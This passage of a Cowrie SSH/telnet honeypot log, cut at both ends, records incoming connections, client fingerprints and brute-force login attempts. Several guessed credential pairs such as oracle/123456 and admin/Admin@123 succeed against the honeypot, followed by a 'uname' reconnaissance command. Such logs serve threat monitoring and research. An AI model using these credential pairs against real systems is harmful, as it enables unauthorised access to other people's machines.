],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:30.169737Z","src_ip":"52.231.220.210","session":"d21051b9f08b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:30.535024Z","src_ip":"176.65.139.103","session":"29222c37ed1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"woaini1314..","message":"login attempt [root/woaini1314..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:30.929622Z","src_ip":"52.231.220.210","session":"d21051b9f08b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:32.114172Z","src_ip":"52.231.220.210","session":"d21051b9f08b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":33206,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a24dfd5ee8b","protocol":"ssh","message":"New connection: 176.65.139.103:33206 (10.17.0.5:22) [session: 8a24dfd5ee8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:36.254588Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:36.267027Z","src_ip":"176.65.139.103","session":"8a24dfd5ee8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:36.341660Z","src_ip":"176.65.139.103","session":"8a24dfd5ee8b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"123456","message":"login attempt [oracle/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:37.063874Z","src_ip":"176.65.139.103","session":"8a24dfd5ee8b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:37.367732Z","src_ip":"176.65.139.103","session":"8a24dfd5ee8b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:37.371225Z","src_ip":"176.65.139.103","session":"8a24dfd5ee8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":36340,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a78fb2273ec","protocol":"telnet","message":"New connection: 161.97.124.15:36340 (159.203.135.109:23) [session: 7a78fb2273ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:37.377453Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:37.532689Z","src_ip":"176.65.139.103","session":"8a24dfd5ee8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:37.537818Z","src_ip":"176.65.139.103","session":"8a24dfd5ee8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.184.144.220","src_port":55676,"dst_ip":"10.17.0.5","dst_port":22,"session":"98f244991ef6","protocol":"ssh","message":"New connection: 202.184.144.220:55676 (10.17.0.5:22) [session: 98f244991ef6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:38.808636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:38.813180Z","src_ip":"202.184.144.220","session":"98f244991ef6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:39.053223Z","src_ip":"202.184.144.220","session":"98f244991ef6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wc123456","message":"login attempt [root/wc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:40.044029Z","src_ip":"202.184.144.220","session":"98f244991ef6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.101518869400024,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:41.195359Z","src_ip":"213.136.75.179","session":"6d6cd5467f13","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:41.286221Z","src_ip":"202.184.144.220","session":"98f244991ef6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":36392,"dst_ip":"159.203.135.109","dst_port":23,"session":"d244446a29ee","protocol":"telnet","message":"New connection: 185.26.126.47:36392 (159.203.135.109:23) [session: d244446a29ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:43.031941Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":36578,"dst_ip":"159.203.135.109","dst_port":23,"session":"6031470e0f84","protocol":"telnet","message":"New connection: 185.26.126.47:36578 (159.203.135.109:23) [session: 6031470e0f84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:43.234194Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":59636,"dst_ip":"10.17.0.5","dst_port":22,"session":"46cb3cf9804d","protocol":"ssh","message":"New connection: 176.65.139.103:59636 (10.17.0.5:22) [session: 46cb3cf9804d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:43.239432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:43.243654Z","src_ip":"176.65.139.103","session":"46cb3cf9804d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:43.325749Z","src_ip":"176.65.139.103","session":"46cb3cf9804d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"sonar","message":"login attempt [sonar/sonar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:43.744563Z","src_ip":"176.65.139.103","session":"46cb3cf9804d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:44.906511Z","src_ip":"176.65.139.103","session":"46cb3cf9804d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.758044481277466,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:46.306001Z","src_ip":"213.136.75.179","session":"a793060fecf4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.49098014831543,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:49.522825Z","src_ip":"185.26.126.47","session":"d244446a29ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":59650,"dst_ip":"10.17.0.5","dst_port":22,"session":"da7b7d98e193","protocol":"ssh","message":"New connection: 176.65.139.103:59650 (10.17.0.5:22) [session: da7b7d98e193]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:49.687434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:49.692127Z","src_ip":"176.65.139.103","session":"da7b7d98e193","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:49.779504Z","src_ip":"176.65.139.103","session":"da7b7d98e193","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin@123","message":"login attempt [admin/Admin@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:50.152420Z","src_ip":"176.65.139.103","session":"da7b7d98e193","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:50.483849Z","src_ip":"176.65.139.103","session":"da7b7d98e193","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:50.486749Z","src_ip":"176.65.139.103","session":"da7b7d98e193","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:50.579623Z","src_ip":"176.65.139.103","session":"da7b7d98e193","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:50.583781Z","src_ip":"176.65.139.103","session":"da7b7d98e193","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54136,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2474c8a5bc4","protocol":"ssh","message":"New connection: 159.203.92.129:54136 (159.203.135.109:22) [session: b2474c8a5bc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:51.482724Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:51.487608Z","src_ip":"159.203.92.129","session":"b2474c8a5bc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:51.493064Z","src_ip":"159.203.92.129","session":"b2474c8a5bc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"!QAZ2wsx#EDC","message":"login attempt [ansible/!QAZ2wsx#EDC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:51.684872Z","src_ip":"159.203.92.129","session":"b2474c8a5bc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":32828,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d3678614b74","protocol":"telnet","message":"New connection: 213.136.75.179:32828 (10.17.0.5:23) [session: 5d3678614b74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:52.078089Z"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:52.691479Z","src_ip":"159.203.92.129","session":"b2474c8a5bc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.115","src_port":43676,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb0e2b2118bc","protocol":"ssh","message":"New connection: 103.176.20.115:43676 (10.17.0.5:22) [session: cb0e2b2118bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:54.239690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:54.244606Z","src_ip":"103.176.20.115","session":"cb0e2b2118bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:54.501748Z","src_ip":"103.176.20.115","session":"cb0e2b2118bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git@2025","message":"login attempt [git/git@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:55.564616Z","src_ip":"103.176.20.115","session":"cb0e2b2118bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":44586,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3c85d9dbdde","protocol":"ssh","message":"New connection: 176.65.139.103:44586 (10.17.0.5:22) [session: d3c85d9dbdde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:56.409878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:56.415222Z","src_ip":"176.65.139.103","session":"d3c85d9dbdde","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecd